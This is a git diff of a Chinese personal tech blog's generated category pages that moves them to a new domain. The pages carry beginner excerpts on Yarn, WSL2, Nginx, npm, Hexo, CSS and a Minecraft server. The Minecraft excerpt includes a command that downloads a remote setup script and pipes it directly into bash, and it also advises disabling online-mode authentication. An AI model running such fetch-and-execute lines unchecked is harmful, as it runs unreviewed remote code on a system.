property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="技术"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>技术</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Yarn包管理工具的简单使用</h2></header><div class=entry-content><p>Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全
 速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次
 保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录
 安全：yarn会在每个package被执行时校验其完整性
@@ -30,7 +30,7 @@
 更新包到指定版本
 yarn upgrade 包名@版本号
 更新包到最新版本
-yarn upgrade –latest 包名...</p></div><footer class=entry-footer><span title='2021-06-16 22:55:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Yarn包管理工具的简单使用" href=https://xiaochenabc123.github.io/posts/38/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>wsl2-windows子系统简单配置</h2></header><div class=entry-content><p>wsl全称Windows Subsystem for Linux
+yarn upgrade –latest 包名...</p></div><footer class=entry-footer><span title='2021-06-16 22:55:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Yarn包管理工具的简单使用" href=https://chenjunlinabc.github.io/posts/38/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>wsl2-windows子系统简单配置</h2></header><div class=entry-content><p>wsl全称Windows Subsystem for Linux
 打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启
 打开Windows Power Shell，输入
 启用 wsl
@@ -56,36 +56,22 @@
 wsl –install
 查看可用的Linux发行版
 wsl –list –online
-或者...</p></div><footer class=entry-footer><span title='2021-06-16 17:43:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to wsl2-windows子系统简单配置" href=https://xiaochenabc123.github.io/posts/35/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Nginx服务器的一些简单配置</h2></header><div class=entry-content><p>配置ssl证书
+或者...</p></div><footer class=entry-footer><span title='2021-06-16 17:43:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to wsl2-windows子系统简单配置" href=https://chenjunlinabc.github.io/posts/35/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Nginx服务器的一些简单配置</h2></header><div class=entry-content><p>配置ssl证书
 前提是已经申请到ssl证书,并且开放443端口
 编辑nginx.conf
 将443那几行的注释去掉（#）,并且修改
 ssl_certificate “crt证书的绝对路径”; ssl_certificate_key"key证书的绝对路径";
 如果想访问网站就301重定向到https，那么添加这几行
-server{
-listen 80;
-server_name xiaochenabc123.test.com;
-rewrite ^(.*) https://$host$1 permanent;
-}
-# 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
+server{ listen 80; server_name xiaochenabc123.test.com; rewrite ^(.*) https://$host$1 permanent; } # 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
 然后刷新一下配置nginx -s
 nginx反向代理配置
 将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果
 配置nginx.conf
-location / {
-proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址
-proxy_connect_timeout 200; # 设置连接超时
-proxy_read_timeout 200; # 设置读响应超时
-}
-重启Nginx服务：service nginx restart
+location / { proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址 proxy_connect_timeout 200; # 设置连接超时 proxy_read_timeout 200; # 设置读响应超时 } 重启Nginx服务：service nginx restart
 请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理
 gzip压缩
-gzip on;
-gzip_comp_level 1; gzip_min_length 10;
-gzip_http_version 1.1;
-gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
-解释：
-gzip on // gzip开启，关闭是off...</p></div><footer class=entry-footer><span title='2021-06-16 15:52:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nginx服务器的一些简单配置" href=https://xiaochenabc123.github.io/posts/34/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Linux环境下简单搭建Minecraft服务器（java版）</h2></header><div class=entry-content><p>服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed
+gzip on; gzip_comp_level 1; gzip_min_length 10; gzip_http_version 1.1; gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 解释：
+gzip on // gzip开启，关闭是off...</p></div><footer class=entry-footer><span title='2021-06-16 15:52:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nginx服务器的一些简单配置" href=https://chenjunlinabc.github.io/posts/34/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Linux环境下简单搭建Minecraft服务器（java版）</h2></header><div class=entry-content><p>服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed
 安装java
 dnf install java-openjdk
 检测java是否安装成功
@@ -113,11 +99,11 @@
 在服务端目录，找到server.properties文件
 修改这个文件，把onlinemode 改为 false
 MCSManager面板
-wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash</p></div><footer class=entry-footer><span title='2021-06-16 15:46:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Linux环境下简单搭建Minecraft服务器（java版）" href=https://xiaochenabc123.github.io/posts/33/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>node.js包管理工具npm的简单使用</h2></header><div class=entry-content><p>npm是Node.js的默认包管理工具
+wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash</p></div><footer class=entry-footer><span title='2021-06-16 15:46:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Linux环境下简单搭建Minecraft服务器（java版）" href=https://chenjunlinabc.github.io/posts/33/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>node.js包管理工具npm的简单使用</h2></header><div class=entry-content><p>npm是Node.js的默认包管理工具
 安装npm：安装node.js(一般来说安装nodejs都会安装npm的)
 npm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install –dependencies 只安装package.json里的dependencies的文件 npm install –devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹
-升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update...</p></div><footer class=entry-footer><span title='2021-06-16 15:05:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to node.js包管理工具npm的简单使用" href=https://xiaochenabc123.github.io/posts/31/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/page/5/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/page/7/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update...</p></div><footer class=entry-footer><span title='2021-06-16 15:05:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to node.js包管理工具npm的简单使用" href=https://chenjunlinabc.github.io/posts/31/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/page/5/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/page/7/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\346\212\200\346\234\257/page/7/index.html" "b/categories/\346\212\200\346\234\257/page/7/index.html"
index 188baf95..c216bb16 100644
--- "a/categories/\346\212\200\346\234\257/page/7/index.html"
+++ "b/categories/\346\212\200\346\234\257/page/7/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>技术 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="技术"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E6%8A%80%E6%9C%AF/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="技术"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>技术</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Python的一些神器的简单用法</h2></header><div class=entry-content><p>Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>技术 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="技术"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E6%8A%80%E6%9C%AF/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="技术"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>技术</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Python的一些神器的简单用法</h2></header><div class=entry-content><p>Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境
 用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响
 当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题
 Windows pip install virtualenvwrapper-win
@@ -22,7 +22,7 @@
 临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas
 linux下
 配置永久使用
-cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip....</p></div><footer class=entry-footer><span title='2021-06-16 14:39:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Python的一些神器的简单用法" href=https://xiaochenabc123.github.io/posts/27/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单搭建一个hexo博客</h2></header><div class=entry-content><p>hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦
+cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip....</p></div><footer class=entry-footer><span title='2021-06-16 14:39:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Python的一些神器的简单用法" href=https://chenjunlinabc.github.io/posts/27/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单搭建一个hexo博客</h2></header><div class=entry-content><p>hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦
 apt install npm
 npm install hexo-cli -g
 hexo init blog
@@ -53,48 +53,23 @@
 打开主题配置文件
 修改sidebar.position的值
 left - 靠左放置 right - 靠右放置
-设置 头像...</p></div><footer class=entry-footer><span title='2021-06-16 14:36:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单搭建一个hexo博客" href=https://xiaochenabc123.github.io/posts/26/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>css常见布局</h2></header><div class=entry-content><p>居中布局
+设置 头像...</p></div><footer class=entry-footer><span title='2021-06-16 14:36:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单搭建一个hexo博客" href=https://chenjunlinabc.github.io/posts/26/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>css常见布局</h2></header><div class=entry-content><p>居中布局
 分水平居中和垂直居中，水平+垂直居中
 水平居中：当前元素在父级元素容器中，水平方向是居中显示的
 inline-block+text-algin
-#app{
-text-align: center;
-// 父元素，文本内容居中对齐
-}
-.child{
-display: inline-block;
-// 子元素，行内块级元素
-}
-优点：浏览器兼容性好（css2）
+#app{ text-align: center; // 父元素，文本内容居中对齐 } .child{ display: inline-block; // 子元素，行内块级元素 } 优点：浏览器兼容性好（css2）
 缺点：text-align具有继承性，会导致子元素的文本也是居中的
 table+margin
-.child{
-display: table; // 也可以为block
-margin: 0 auto;
-// 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）
-}
-优点：只需要对子元素设置，就可以实现效果
+.child{ display: table; // 也可以为block margin: 0 auto; // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配） } 优点：只需要对子元素设置，就可以实现效果
 缺点：如果子元素脱离正常流，将会导致margin属性的值无效化
 absolute+transform
-#app{
-position: relative; // 父元素相对定位
-}
-.child{
-position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的
-left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）
-}
-优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
+#app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数） } 优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
 缺点：transform属性是css3的新属性，浏览器兼容性比较差
 垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的
 table-cell+vertical-algin
-#app{
-// 父元素
-display: table-cell;
-vertical-align: middle; // 设置文本的垂直方向对齐方式
-}
-优点：浏览器兼容性好
+#app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点：浏览器兼容性好
 缺点：vertical-align属性具有继承性
-absolute+transform...</p></div><footer class=entry-footer><span title='2021-06-16 13:23:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css常见布局" href=https://xiaochenabc123.github.io/posts/24/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Docker容器的简单使用</h2></header><div class=entry-content><p>docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行
